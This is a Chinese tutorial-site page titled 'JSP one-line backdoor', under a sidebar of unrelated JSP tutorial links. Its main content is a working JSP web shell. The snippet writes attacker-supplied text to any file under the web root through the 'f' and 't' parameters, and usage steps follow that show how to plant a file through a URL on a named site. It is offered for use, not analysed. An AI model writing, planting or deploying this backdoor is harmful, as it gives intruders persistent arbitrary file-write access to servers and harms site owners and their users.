当前位置: 首页 > 图文教程 > 网络编程 > JSP > JSP一句话后门

JSP
一个可以防止刷新的JSP计数器
jsp文件操作之写入篇
jsp文件操作之追加篇
jsp文件操作之读取篇
六、访问CGI变量
七、HTTP应答状态
八、设置HTTP应答头
十、会话状态
十二、脚本元素、指令和预定义变量
十三、JSP动作
五、读取HTTP请求头
JSP入门教程(1)
九、处理Cookie
JSP入门教程(3)
JSP入门教程(4)
四、处理表单数据
JSP在Linux下的安装
在 Linux 上安装Apache+ApacheJServ+JSP
在Windows/NT上建立JSP环境
Java Servlet和JSP教程

JSP一句话后门


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 76 ::
收藏到网摘: n/a

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld